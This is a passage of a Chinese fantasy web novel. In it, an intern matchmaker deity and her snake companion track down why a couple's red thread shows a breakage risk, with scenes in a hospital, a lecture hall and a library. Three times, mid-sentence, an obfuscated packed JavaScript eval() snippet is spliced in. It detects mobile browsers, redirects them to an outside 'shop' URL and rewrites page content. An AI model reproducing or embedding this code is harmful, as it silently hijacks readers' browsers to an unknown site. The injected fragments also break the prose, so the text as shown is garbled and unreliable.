【嗯哼。】桃喜宁又嗑了一颗瓜子,在心里悠闲地回道。 【李科长自己独唱时,最多就是跑调。可一旦合唱,呵呵,他的音量一定要更高。】 屏幕上,歌词来到高潮。 李帅的吼声不仅完全盖过了马奋进,甚至让音响都发出了轻微的嗡鸣。 桃喜宁和敖翔却在这一刻同时用力叫好—— “好!唱得太棒了!”桃喜宁大声道。 敖翔也从口袋里探出更多身体,边用尾巴拍打边嘶嘶叫着:“再来一首!李科长!” 一曲终于结束。马奋进脚步虚浮,摇晃着地往沙发走。 李帅却一把又将他拉了回来:“小马!别走啊!唱歌这种事,菜就要多练!今天就是锻炼机会!” 桃喜宁立刻握紧双拳,做加油状:“对对对!李科长说得太对了!菜就要多练!马同事,加油啊!” 马奋进回过头瞪了桃喜宁一眼。 桃喜宁回以一个无比真诚的微笑。 于是,在接下来的团建时间里,整个包厢就回荡着李帅激情澎湃的领唱,以及马奋进那微弱得几乎可以忽略不计的和声。 当团建终于结束时,马奋进几乎是跌跌撞撞地回到座位上的。 他脸色发白,一句话也不说。 李帅则是神采奕奕,还声音洪亮地发表了总结:“今天团建非常成功!以后就要保持这种状态!” 桃喜宁看准时机,凑到他身边,用不大但足够清晰的声音说。 “李科长,您看这快到年底考核了,我之前负责的红线,虽然目前稳定,但我觉得业绩还是要巩固维护一下才保险。那个外勤延期的申请……” 李帅显然正处在团建圆满成功的愉悦中,闻言大手一挥。 “没问题!你明天就把外勤的延期申请再提交一遍,我第一时间给你批了!好好干,年底考核给我们科长脸!” 18. 第18章 “甭管用不用得上,先把外勤拿到手。” 桃喜宁哼着不成调的小曲,轻快地划开了姻缘管理系统的操作界面。 然后,几乎是在系统完全加载的一瞬间,那点轻松惬意就从她脸上消失得无影无踪。 “——!” 一声短促的、介于惊呼与哀嚎之间的尖锐气音从桃喜宁喉咙里挤了出来。 姻缘系统界面上,代表白饴和林渊傅的那条主红线,旁边居然又悬浮起一个刺眼的标识:【状态异常,存在断裂风险,风险等级高危】。 “为什么?!”桃喜宁瞪大眼睛,几乎要把脸贴到屏幕上,“这才消停几天?怎么系统又提示有断裂风险了?而且,比上次风险等级还高!” “我是不是跟你说过?要注意葛悭、注意葛悭!” 敖翔“唰”一下从她口袋里探出大半截身子。 他细长的身体努力挺直,小脑袋昂得高高的,左右摆动,语气里充满了早知如此的痛心疾首。 “不听同事言,吃亏在眼前啊。看看,业绩警报又响了吧?” 桃喜宁盯着眼前这条把得意和操心写在每一片鳞片上的小青蛇,费了老大力气,才控制住蠢蠢欲动的手指,没去对着那昂起的小脑袋弹一下。 这是同事、是同事,再欠揍也是同事,不能随便揍,影响转正考核。 她在心里默念了三遍。 “事情还没查清楚,不能随随便便下结论。”桃喜宁努力让自己的声音听起来冷静专业。 “问题可能刚冒头。我先……去白饴公司打听打听情况。” ....... “啥?!”敖翔的声音炸开,充满了难以置信:“葛悭没再来过?” “方守依是这么说的。可这说不通啊。”桃喜宁也犯起嘀咕。 “按葛悭的说法,公司的事以前全靠白饴撑着。他费这么大劲又是送礼又是堵门,这么放弃了?” 不能急不能急,先捋捋思路。 她定了定神,思路清晰起来。 “要么他是换了我们不知道的招数,要么……就是他被别的事情绊住了,一时脱不开身。” “你上次不是跟着快递,摸到他公司附近转过吗?” “对啊!”敖翔立刻支棱起来,尾巴拍得“啪啪”响。 这嘚瑟的小摸样,一看就适合接着干活。 “那正好。”桃喜宁顺理成章地派发工作给他。 “麻烦你再跑一趟,去看看他最近到底在干什么。注意安全,别被发现。” ...... “你是说,葛悭因为跟爸妈大吵一架,把他爸气到晕倒住院了,所以他最近一直在这家医院里陪床,才没空来找白饴的?” 桃喜宁站在医院的大门前,重复了一遍刚才听敖翔说的消息。 “嗯呐,绝对可靠。”敖翔重新回到了她手腕上,熟门熟路地伪装成手链。 “我溜进他们公司所在的楼层,在茶水间角落盘了半小时,听里面几个员工闲聊说的。 桃喜宁搓了搓下巴:“因为他坚持要追求白饴,所以反抗爸妈,这才吵起来的?” 这是个合乎情理的推测,带点司空见惯的狗血味道。 “不。”敖翔的尾巴尖轻轻摆了摆,纠正道,语气里带着点收集到八卦的得意。 “根据听到的零碎信息拼凑,直接导火索是——他之前在酒吧的那次高额消费,账单数字远远超出了平时家里给他的月度花销额度。好像还碰巧赶上他家公司有个短期贷款要还,资金正紧。” “他爸查账后发现,大为光火,骂他挥霍无度、结交狐朋狗友。葛悭不服,顶撞了几句,然后……就这样了。” “呵呵。”桃喜宁摸了摸鼻子,心情有点复杂。 说来说去,那晚在酒吧的消费,她实在功不可没。这算不算……歪打正着? 这因果绕了一圈,竟然以这种方式暂时解了白饴这边的围? 那为什么白饴的红线怎么还是有断裂风险提示?是葛悭有卷土重来的意思? “可,来都来了……”她嘀咕着,给自己找了个行动理由,抬脚往医院里走。 眼见为实,肯定得先确认一下情况。 ...... “是这层没错吧?”桃喜宁踏出了医院的电梯,刚想确认方向,就听到隔着拐角的不远处传来了……葛悭的声音! 她心里一紧,赶紧把刚踏出去的脚收回来,后背紧紧贴上墙壁。 “哎哟,妈…妈,你轻点…我耳朵要被揪掉了。”葛悭的声音一顿一顿的,估计是给疼得,还带着点颤音。 “轻点?你明知道公司资金紧张,还去酒吧大手大脚!”一个略显尖利的女声压着怒火。 “现在外面风言风语都在传,说我们有钱泡吧,没钱还债!电话都打到你爸病床前了!” 这个应该就是葛悭的妈妈了,语气里的恼火几乎化为实质。 “哎,妈,我去酒吧也是为了结交人脉…拓展业务…” 葛悭试图辩解,声音越来越虚,“哎哎,疼疼疼!别拧了!” “结交人脉?呵,我是你妈,我还不知道你?”葛母声音毫不客气。 听着两个人的声音越来越近,马上就要到拐角。 敖翔的传音开始发急,尾巴都绷紧了:【哎哎,你站这里,他们过来一转弯就看见了!】 桃喜宁左看右看。 这边的拐角紧靠电梯间,没其他通道,周围还人来人往的。 她这么直挺挺贴墙站着,已经吸引了好几道目光,要是现在突然消失…… 那都不用等到明天,今天下午李帅就得亲自来给她送违规处罚通知,附赠一场漫长的月老部员工思想教育。 【与其被动暴露,不如主动掌控节奏——好歹能编个探病理由。】 桃喜宁心一横,握紧了拳头,给自己打了把气,然后一下从拐角处闪身走出,迎面就差点撞上了正低头揉耳朵的葛悭。 【果然主动。】敖翔在她的手腕上迅速转了个圈,小脑袋冲着下方,紧紧贴住她的皮肤——大概是表示没眼看。 “哎呀,葛先生,这么巧。”桃喜宁扯起一个自认足够真诚、甚至带点意外惊喜的笑容,眼睛弯成月牙。 葛悭在看清楚桃喜宁脸的瞬间,动作完全僵住,瞳孔明显收缩了一下。 他猛地后退一步,第一个动作是下意识护住了胸口——那是上次被咖啡洗礼过的位置。 又像想起什么似的,迅速捂住了侧边的裤子口袋——里面可能装着钱包手机。 “你…你怎么在这?”葛悭的声音干涩紧绷,充满了难以置信的警惕 “我来医院探望…长辈。”桃喜宁语气自然,表情管理到位。 话说完,她才仿佛刚注意到自己空空如也的双手,略显尴尬地笑了笑,抬手理了理其实并不乱的头发。 “哎呀,看我这记性,走得急,忘带了。” 被觉得小气,总比被认定是变态跟踪狂强吧。她在心里默默补充。 旁边,葛母已经停下了脚步。 她的目光带着审视,在葛悭和桃喜宁之间来回扫射,最后停在葛悭那张写满慌张的脸上。“这位是?” 葛悭一个哆嗦,拽着葛母的袖子就想把人往旁边拉:“妈,不是…就是个之前见过的……” 他话说得磕磕巴巴,眼神乱飘,根本不敢看桃喜宁。 “阿姨您好。”桃喜宁适时接过话头,笑容乖巧,语气坦荡。 “我之前做兼职时,和葛先生见过两面。一次是在酒吧,葛先生当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997311|193254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时挺热情的;还有一次是在白总——就是白饴...的公司,葛先生来…拜访。” 她用了拜访这个中性词,咬字清晰。 葛母顿时不再迈腿,目光“唰”地一下钉在儿子脸上:“你又去找白饴了?我跟你爸说的话你都忘了?!” 葛悭哆嗦得更厉害了,额角开始渗出细汗:“妈!你听我解释,我就是去她公司看看,纯商业拜访,聊聊合作可能…” “葛先生说的拜访,”桃喜宁在一旁贴心补充。 “是他那天来找白总想复合,还待在会客区,说不见到白总就不走了。当时公司好多同事都看见了。” 她顿了顿,又轻声加了句,“给大家的工作造成了一点…小困扰。” 葛母脸色彻底阴沉下来,胸口微微起伏。 【她的右手在抖耶】敖翔虽然小脑袋冲下,但显然该看的一点没少看。 【手指捏紧了又松开,是不是又想揪葛悭的耳朵了?这次可能要换一边。】 “啊,葛先生,阿姨,真是不好意思,我还得去探望,就不耽误您二位了。”桃喜宁见好就收,立刻微微欠身,态度礼貌周到。 然后随即转身,步履平稳地朝着走廊另一头走去,步子不急不缓。 只有她自己知道,耳朵正竖得高高的,全力捕捉着身后传来的每一个细微动静。 果然,压抑的训斥声和熟悉的痛呼隐约传来。 “哎呦!妈!妈!你怎么又揪!这边刚揪过!”葛悭的声音都带上了哭腔。 “我之前是想着…想着把白饴追回来,让她接着打理公司,公司好了,我也能多抽出时间陪陪您和爸不是?我这也是为了家里着想啊!” “少来这套!”葛母的声音压得很低,但那股怒意穿透力十足。 “白饴在的时候,我就跟你说了多少遍,让你好好对人家,珍惜点!你听了吗?啊?” “现在好了,人家心凉了,自己出去闯出一片天了,凭什么还要回来帮你赚钱?!” 她喘了口气,声音里满是疲惫和坚决:“我告诉你,你爸这次就是给你气的!你像现在这样,老老实实地自己学着打理公司,把眼前的窟窿堵上,别再去骚扰白饴惹人烦,少让我们再操这份心!” 直到桃喜宁拐过另一个弯,那些声音才彻底被墙壁隔绝。 她轻轻呼出一口气,一直挺着的肩膀稍微松了松。 【你之前坑了他两回,酒吧一次,公司一次】敖翔这才把慢悠悠地吧脑袋转回来。 【加上刚才这是第三回了。你给他留下的心理阴影面积,啧啧,说不定都不亚于他妈了。】 桃喜宁摸摸鼻子,自觉没法反驳。 她甚至有点同情葛悭了——被同一个人用不同的方式连续坑,最后还被家长抓包。 桃喜宁楼层里慢吞吞地绕了好几圈,仿佛真是来探病找人的,直到确认不可能再遇上葛悭母子,这才终于走向电梯,按了下行键。 【这就走了?不再多观察观察?】敖翔在她手腕上缓慢游动,小脑袋转来转去。 【不用再看了。】桃喜宁走进空无一人的电梯,语气异常肯定。 【葛悭身上原来连着白饴的那截红线断头,现在彻底消失不见了...是家庭的重量,终究压过了他那点不甘心吧。】 电梯平稳下行,轻微的失重感传来。 她的思绪却飘回了那个喧闹的酒吧夜晚——当时葛悭那句酸溜溜的“现在好了,那两工作狂,见面都没空!”,她只当是纯粹是个牢骚,听过就算了。 但现在想来...葛悭的红线断头已经消失,可系统还在提示断裂风险。 桃喜宁眼前闪过系统上,同样埋首工作的林渊傅:“我们这次,或许找错了方向。问题的根源,恐怕是在林渊傅那边。” 19. 第19章 “还好还好,林渊傅的红线是我亲手牵的,他工作的大学,我在里能查到详细信息。” 桃喜宁盯着姻缘管理系统,低声自语了一句,循着导航就找了过去。 正值午后,校门口进出的年轻人络绎不绝。 有的抱着厚厚的书本步履匆匆,眉宇间带着思索;有的三三两两结伴而行,说笑声清脆飞扬。 桃喜宁站在校门外,左右张望了一下,目光锁定了一个看起来面容就很和善的女生。 就这个吧,看起来比较好说话。 她调整了一下表情,挂上一个恰到好处的、略带腼腆的微笑,快步走上前。 “同学,打扰一下,请问你知道历史系的林渊傅教授今天在学校吗?” 女生停下脚步,目光在桃喜宁脸上转了一圈,又打量了一下她,眼里顿时多了几分了然和饶有趣味。 “同学,你是外校来的吧?”女生嘴角弯起,语气带着点善意的调侃。 “是不是也是被我们林教授的魅力吸引,特地赶过来想听他一节课的?” 桃喜宁心里一动,立刻顺着对方递过来的梯子往上爬:“啊,是的!听说林教授的课特别精彩,一直想来听听,就是不太清楚时间地点……” “你运气好,他下午在第三教学楼有课,马上开始!” 女生一副“我懂我懂”的样子,用力点点头,朝远处一指,“就那栋有拱窗的,快去吧!” “太好了!谢谢你啊同学!”桃喜宁道了谢,立刻朝着女生指的方向加快脚步。 【嚯,这阵势……】 刚一踏进那间能容纳百人的阶梯教室,敖翔的感叹就率先在她脑海里响了起来。 果然是一座难求。 整个教室黑压压一片,所有的固定座椅都坐满了人,连两侧和后面的过道上都或站或坐地挤了不少学生。 空气里弥漫着一种隐隐的兴奋和期待。 而最前排的区域,几乎清一色是年轻的女生,一个个坐得笔直,眼睛亮晶晶地,全神贯注地望向尚且空着的讲台。 桃喜宁在教室最后排靠近后门的角落里,找到一个不起眼的、靠墙的缝隙站定。 这个位置视野开阔,又能很好地隐藏自己。 她双手插在外套口袋里,微微靠在墙壁上,静待开场。 没过几分钟,一阵轻微的骚动从前排传来。 一个男人拎着笔记本电脑包,步履从容地走上了讲台。 他鼻梁上架着一副眼镜,整个人透着一股干净的书卷气——正是林渊傅。 教室里瞬间安静下来。 “各位同学下午好。”林渊傅的声音通过麦克风清晰地传遍教室:“今天我们来看一件特别的文物。” 他打开投影,幕布上出现了一张高清照片—— 那是一个算盘,木质的框架呈现出温润的古旧色泽,黄铜包边的算珠颗颗圆润。 “这是一件大约三百年前的文物,去年在一次民间旧宅改造中被发现。”林渊傅按动手中的激光笔,红色的光点落在算盘梁上刻着的模糊字迹上。 “大家可以看到这里刻有名字。根据出土环境和伴随物品,目前的学界主流推测,这应该是当时一户家境尚可的人家,特意为家中启蒙的儿子订制的学习工具,寄托了父母的期望。” 他的讲解清晰有条理,引经据典,将一件静态的文物与当时的社会风貌、教育观念巧妙连接起来。 台下学生听得入神,不时低头记录。 桃喜宁靠在墙边,目光却久久停留在投影幕布那个算盘的影像上。 木质纹理、铜珠的排列……一种遥远而熟悉的感觉得从记忆深处翻涌上来。 “不是儿子,”她几乎是无意识地,用只有自己能听到的极低声音喃喃道:“是女儿。” 【嗯?你怎么知道?】敖翔捕捉到了她的低语,好奇地传音问道。 桃喜宁沉默了几秒,才轻声回应,视线没有离开那个算盘:“因为这是我出生时,我父母给我做的,边上刻的“宁宁”是我的小名。那是我第一件玩具。” 她的目光仿佛穿透了时空,看到了很久以前的情景: 温暖的灯光下,母亲握着她的手,一个珠子一个珠子地教她拨弄:“上一下四,逢五进一”的口诀轻柔悦耳。 父亲总会在一旁笑着嚷嚷:“好啦好啦,让宁宁歇会儿,眼睛都要看花了……” 尘封的、属于她还是个凡人时的记忆碎片,带着彼时屋内的温度与父母笑容的轮廓,毫无预兆地撞进心里。 桃喜宁觉得眼眶忽然有些发热,鼻尖泛起微酸。刚想抬手用手背随意抹一下,就感觉到有什么柔软的东西,被轻轻塞进了她垂在身侧的手心里。 低头一看,是一张折叠得方方正正的纸巾。 敖翔不知何时从口袋边缘探出了一小截尾巴尖,正灵活地卷着纸巾,往她手里又塞了塞。 察觉到她低头,那尾巴尖甚至还安慰似的,在她手指上轻轻卷绕了一下。 “……谢谢。”桃喜宁握紧了那张纸巾,指尖传来纸张柔软的触感,也压下了喉间的微哽。她没有去擦眼睛,只是将纸巾紧紧攥在掌心里。 讲台上,林渊傅的讲解已近尾声。 他做了一个简要的总结,然后微笑道:“……所以,文物不仅是物件,更是情感的载体,是穿越时光的信使。今天的课就到这里,谢谢大家。” “哗——!” 雷鸣般的掌声瞬间爆发,充满了整个教室,久久不息。 许多学生,尤其是前排的女生,脸上都带着兴奋和意犹未尽的光彩。 “就是现在。”桃喜宁精神一振,站直身体,准备等掌声稍歇就穿过人群去找林渊傅搭讪。 然而,她的脚后跟刚离开地面,还没来得及迈出第一步,前方的人墙就轰然动了起来。 以前排那些女生为首,学生们如同潮水般涌向讲台,瞬间就将刚刚合上电脑的林渊傅围在了正中心。七嘴八舌的提问声此起彼伏: “林教授!关于您刚才提到数字记录方式,我有个问题……” “林教授!可以推荐几本拓展阅读吗?” “林教授,下次公开课是什么时候呀?” 人群形成一个密不透风的包围圈,严严实实。 桃喜宁试着从侧面靠近,却发现根本挤不进去。 她在外围徒劳地转了两圈,最终无奈地停在一个能看清讲台的位置,耐着性子等待时机。 课堂知识的提问渐渐少了,话题开始朝着更轻松的方向延伸。 终于,一个胆子大些的女生高高举起手,在得到林渊傅微笑颔首后,大声问出了那个显然盘旋在许多人心中已久的问题: “林教授!请问……您有女朋友了吗?” 唰! 桃喜宁的耳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001170|193254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朵瞬间竖了起来,全身的注意力都集中到了林渊傅即将给出的回答上。 她甚至能感觉到口袋里,敖翔也悄悄探出了一点脑袋,一副严阵以待、准备接收关键情报的模样。 在众多目光的聚焦下,林渊傅推了推眼镜,脸上露出一抹温柔的笑意。 “有的。”他声音不大,但通过麦克风清晰地传遍了突然安静下来的教室:“我们感情很好。之前……她还特意拉我去过月老庙呢。” “哇——”人群中顿时响起一片混合着失望、羡慕和祝福的低声惊叹。 桃喜宁心中先是一块大石落地,紧接着又是一阵难以言喻的成就感涌上来。 她恨不能立刻扒开层层人群,跳到讲台上叉腰宣告:“没错!红线就是我亲手牵的!名草有主了,各位同学都把心思放回学习上啊!” 当然,想归想。现实是,她依然被牢牢挡在包围圈之外,连林渊傅的衣角都碰不到。 又回答了几个问题后,林渊傅抬手看了看腕表,面带歉意地对周围的学生们说。 “抱歉各位同学,我稍后还有一个学术讨论会需要参加,必须得先走一步了。大家如果还有问题,可以通过邮箱联系我。” 说完,他拎起电脑包,在几位热心学生的开路下,匆匆离开了教室。 林渊傅退场,教室里留下一片哀鸿遍野。 “哎……林教授居然真的有女朋友了,我最后的幻想也破灭了。” “是啊,我每节课都来,笔记记了厚厚一本,今天好不容易鼓起勇气想多说两句话,结果就听到这个噩耗。” “好羡慕他女朋友啊,林教授又有学问,性格还那么温柔……” 几个女生聚在一起,表情半是玩笑半是真情实感的失落。 多好的机会啊——桃喜宁眼神一亮,瞬间切换了状态。 她脸上挂起极具亲和力的笑容,自然地凑到了那几个正在感叹的女生旁边。 “哎呀,同学们,别这么沮丧嘛。”桃喜宁语气轻快,充满理解。 “男神……啊不是,林教授能找到自己的幸福,我们作为他的学生,不是更应该为他感到高兴,祝福他吗?” 桃喜宁化身知心姐姐,声音温和,句句都说到了这群女生矛盾的心坎里——既欣赏林教授,又明白不该有过度的想法。 在她一番“我们要化仰慕为动力,让自己也变得更优秀”、“真正的支持是尊重他的私人生活”的积极劝导下,现场略显低迷的气氛很快被扭转了过来。 “这位姐姐你说得对!”一个女生振作起来,“我决定从今天起更努力学习,将来也要成为像林教授一样优秀的学者!” “对对,我们不能给林教授丢脸!要不我们拉个群吧,互相监督学习,分享资料?” 这个提议得到了热烈响应。 二维码被迅速生成,手机纷纷举起。 “我也能加入吗?虽然我不是历史系的,但对林教授讲的文物知识特别感兴趣!”桃喜宁适时地露出渴望的表情。 “当然可以呀!欢迎欢迎!”正在兴头上的学生们热情地把她拉了进去。 滴。 扫码,进群。一气呵成。 桃喜宁看着手机屏幕上跳出的“林渊傅教授讲课—学习互助小组”的群聊名称,以及瞬间开始刷屏的自我介绍和表情包,嘴角勾起一抹微不可察的的弧度。 搭讪,完成。 20. 第20章 “叮叮当,叮叮当——” 安静得只剩下翻书声和笔尖摩擦纸面声的大学图书馆里,一连串清脆又略显突兀的提示音骤然响起。 桃喜宁手忙脚乱地抓起手机,飞快地按下了静音键。 【又是那个“学习互助小组”的群?】敖翔的声音在她脑海里响起,带着显而易见的无语,【这群学生精力也太旺盛了,从早到晚消息就没停过。】 桃喜宁划开屏幕——果然,那个名为“林渊傅教授讲课学习互助小组”的微信群,右上角又冒出了一个鲜红的“99+”。 群里的消息五花八门,早已超越了“学习互助”的初衷。 信息瀑布流般刷过,间或夹杂着林渊傅的只言片语—— 或是解答一个专业疑问,或是提醒下周的讲座时间。往往还没来得及细看,就被后面汹涌而来的表情包和闲聊淹没了。 桃喜宁退出群聊,轻轻叹了口气,用手撑住了下巴。 “连续好几天了…”她声音有些发闷:“林渊傅的生活轨迹就是规律的三点一线——办公室、会议室、教室。” “身边就没有一点可疑的桃花…那姻缘系统这莫名其妙的断裂风险,到底是从哪儿来的?” 阳光透过窗户,照射在桃喜宁身上。 可是她只要是一想到刚才查看的本年度实时业绩报表,心头就是灰扑扑的。 手腕上传来轻微的触动。 【业务数据……不太乐观?】敖翔的传音难得地没有带上惯常的戏谑,听起来竟有几分小心翼翼。 桃喜宁放下撑着脸的手,转而扶住了额头,一副工作不易的沧桑模样。 “考核的截止时间已经定了,就算再牵新的红线,也算不进今年的业绩范围了。” “横算竖算,……今年能不能达标,全看白饴和林渊傅一单了。” 桃喜宁的目光无意识地扫过最近的书架,眼神猛地一顿——《恋爱心理学》。 【哎哎哎!手!手!手伸出去干嘛!】敖翔的声音在她脑中炸开,细长的尾巴从她袖口探出,“啪”地一声按在了书脊上。 【你一个月老!虽然还在实习期,业务不精】敖翔的语气痛心疾首,仿佛撞见了自家的优秀同事在搞什么旁门左道。 【可这、这算什么?你的岗前培训没讲过吗?】 桃喜宁被他一惊,反而较上劲了,硬是避开敖翔的尾巴,指尖一勾,还是把书从书架上抽了出来。 【我怎么就不能看了?】她一边反驳,一边快速走到无人角落。 【实践出真知,这话听过没?多了解一下凡人的研究角度,也是学无止境,这叫……给目前的状况多一个参考维度。】 桃喜宁的动作流畅,翻开书页时却带着点自己也说不清的心虚。 哗啦。 书页精准地停在了第一章。一行加粗的标题,不偏不倚地扎进了她眼里—— “警惕:长时间、高频率的不见面相处,是感情浓度稀释乃至变质的最常见前兆。” 呸!瞎扯!简直是一派胡言! 桃喜宁“啪”一声用力合上了书,立即转身,几乎是用塞的把书放回了原位,动作带着一股欲盖弥彰的果断。 “看什么书,刚才什么都没看”她对着空气,也像是对着自己,一字一句地低声宣告。 “他们感情好着呢,稳定得很,那些有的没的……全是胡说八道!” 桃喜宁靠在书架上,试图把书里的胡话和系统的警报都挤出脑子,目光放空地看着图书馆高高的穹顶。 业绩、红线、考核……一堆词在脑海里打转。 就在这时,手腕被轻轻戳了戳…… “干嘛?”桃喜宁有气无力地回应,一想到自己前途未卜,就连眼皮都懒得抬。 “哎,哎。”手腕又被戳了两下,这次带上了点催促的意味。 “干嘛啦……烦着呢……”她嘟囔着,终于不情不愿地低下头。 只见敖翔的尾巴尖正笔直地伸着,指向图书馆另一头的一排高大书架。 【你看那边,】敖翔的声音里透着惊讶和不确定。 【站在书架旁边,正跟管理员说话的那个……是不是有点眼熟?看着像不像上次KTV团建,跟李科长一起合唱的那个?】 “马奋进?”桃喜宁心头一跳,顺着方向凝神望去。 距离有点远,那人侧对着这边,正从图书馆管理员手里接过厚厚一摞书。 但那个挺得笔直、甚至显得有些僵硬的背影,以及那身与周围休闲学生格格不入的、过于板正的着装,确实越看越眼熟。 “不会吧……”桃喜宁下意识地压低了身体。 “现在可是正经的仙界办公时间,我们俩是拿着外勤许可才来这里的,他要是外出肯定也得申请出外勤...” 她眯起眼睛,借着书架和前面同学的遮挡,仔细辨认。 就在这时,那人似乎办完了手续,抱着那摞书转过身,准备离开借阅台。 阳光恰好掠过他的侧脸。 “——居然还真是他!” 桃喜宁猛地缩回头,后背紧紧贴住书架边缘,同时将自身那点微弱的仙职气息收敛得滴水不漏,瞬间“融入”了图书馆安静沉闷的背景里,毫不起眼。 敖翔在她手腕上不解地转了个圈:【看见同事而已,你躲什么?跟做贼似的。】 【你不懂】桃喜宁借着面前书架上书本之间的缝隙,小心翼翼地向外窥视,同时用传音飞快地分析。 【马奋进在正常的坐班时间,不待在月老庙,却跑到大学图书馆来,就说明他也申请了外勤……】 她停顿了一下,目光和手腕上那双小小的竖瞳对上了—— 事出反常必有妖。 桃喜宁眼珠一转,计上心来。 她伸出一根手指,悄悄指了指马奋进离开的方向,那摞书堆得极高,几乎挡住了他小半张脸,走起路来都有些摇晃,引来周围学生好奇的注目。 【小敖同志】她语气严肃,如同布置一项光荣而艰巨的任务。 【现在又有一个重要的任务要交给你。去,跟上他,看看我们这位新同事,上班时间溜号,到底来这大学里搞什么名堂。】 敖翔一听,立刻不干了,尾巴尖都竖了起来:【凭什么又是我?上次去盯葛悭的就是我!这次轮到你了!】 【这能一样吗?】桃喜宁理直气壮,逻辑清晰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005718|193254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 【我跟他算是同期,仙职位阶一样,又是一个科的同事。我去跟踪,万一靠得近了,很容易被他察觉。要是被他发现,而他其实真的只是来……呃,正经来工作呢?那场面得多尴尬?同事之间还要不要相处了?】 【那我跟踪就没风险了?】敖翔不服。 【你当然不一样!】桃喜宁换上一副“我早就看穿你”的表情,传音里充满了笃定和赞赏,【你虽然平时……嗯,比较随性,但我知道,你定然是深藏不露。这种悄无声息的跟踪任务,对你来说,那还不是易如反掌、小菜一碟?】 敖翔的小脑袋不自觉地抬高了一点,尾巴尖的摆动频率也放缓了,似乎在认真思考这个评价。 桃喜宁趁热打铁,好评一个接一个发。 【再说了,你的身份特殊啊!你是来我们月老部历练的。就算、万一、不幸……被他察觉了...】 【你完全可以说自己是觉得坐班无聊,偷偷溜出来摸鱼的嘛!他一个实习月老,还能把你怎么着?是不是这个理?】 她口若悬河,从敖翔“卓越的天赋”夸到“灵活应变的能力”,又从“这次任务非你莫属”上升到“绝对信任”。 短短几句话,褒义词用了不下十个,且毫不重复。 敖翔被她夸得晕晕乎乎,整条蛇都透出一种飘飘然的气息,小脑袋昂得更高,尾巴尖也不自觉地愉快摆动起来,先前那点不情愿早已忘得一干二净。 【行……行吧!】他挺起胸膛。 【看在任务重要,以及你如此有眼光的份上,本……我就再跑一趟。你就在这里,安心等待我的好消息!】 话音未落,一道身影从桃喜宁手腕上“流”了下去,贴着光滑的地面,悄无声息地滑入两排书架之间的阴影里,眨眼间就消失不见。 桃喜宁背靠着书架,抬手掩住嘴,肩膀轻轻抖动,忍笑忍得十分辛苦。 “噗……还挺好忽悠。”她眼里闪着恶作剧得逞般的亮光,低声自语。 “被夸几句就找不着北了,傻乎乎的……感觉还有点可爱是怎么回事。” 又在原地等了好一会儿,估摸着马奋进和敖翔都已经离开图书馆有一段距离了。 桃喜宁才做贼似的从书架后探出头,确认安全后,整理了一下表情,装作普通学生的样子,慢悠悠地晃到了刚才马奋进办理借阅的柜台前。 “老师您好,”她露出一个礼貌又略带好奇的笑容,对着里面的管理员老师问道。 “不好意思打扰一下,刚才我看见有位同学借了好——大一摞书,好像挺有意思的。” “我想问问,他借的那些书,大概是在哪个区域的哪个书架呀?我也想去看看。” 管理员看了她一眼,似乎对那移动书山也印象深刻,没多想就指了指电脑屏幕。 “哦,刚才那位啊,借的同一类书,具体位置在靠窗的那两排书架。” “好的,谢谢您!”桃喜宁道了谢,转身朝着老师所指的方向走去。 她穿过一排排高大的书架,很快来到历史区。目光扫过书脊,眉头随即蹙起—— 马奋进上班时间来借的,竟全是与林渊傅研究方向高度重合的历史书籍。 21. 第21章 “马奋进还在学校,我要是还在校园里乱逛,万一转角遇上,那场面可就尴尬了。” “可要是一直待在图书馆待着,他说不定还会回来借书还书,撞上的几率也不小……” 桃喜宁站在图书馆门口的台阶上,心里飞快地盘算着。 既要避开马奋进,又要等待敖翔带回情报,这个中间地带需要仔细选择。 桃喜宁的目光扫过图书馆旁那排林荫道旁的店铺,最终落在了一家看起来颇有情调的咖啡馆上—— “就那儿吧。”她打定主意:“既能观察到图书馆门口的部分动向,又不容易被从里面出来的人第一时间发现。” 咖啡馆面积不小,三三两两的学生分散在各处。 有的对着笔记本电脑眉头紧锁,有的则凑在一起低声讨论。 桃喜宁扫了眼价目表,下意识摸了摸口袋——信仰值换算率让她心头一紧。 正犹豫时,目光却被邻桌一杯拉花精致的咖啡吸引。 那图案让她莫名想起了姻缘系统里那些交错的红线。 “来都来了……”桃喜宁叹了口气,走向吧台。心里默算着自己的余额,脚下却没停——工作的前期投入,有时候也得认。 就在她准备点单的刹那,一道影子从咖啡师身后窜下,直扑她的小腿! “笔芯!不可以这样!”咖啡师手一抖,奶壶里的奶流差点偏离轨迹。 然而,狸花猫在即将扑到桃喜宁腿上的瞬间,硬生生刹住了脚步,随即竟开始用脑袋,一遍又一遍地蹭着桃喜宁的裤腿。 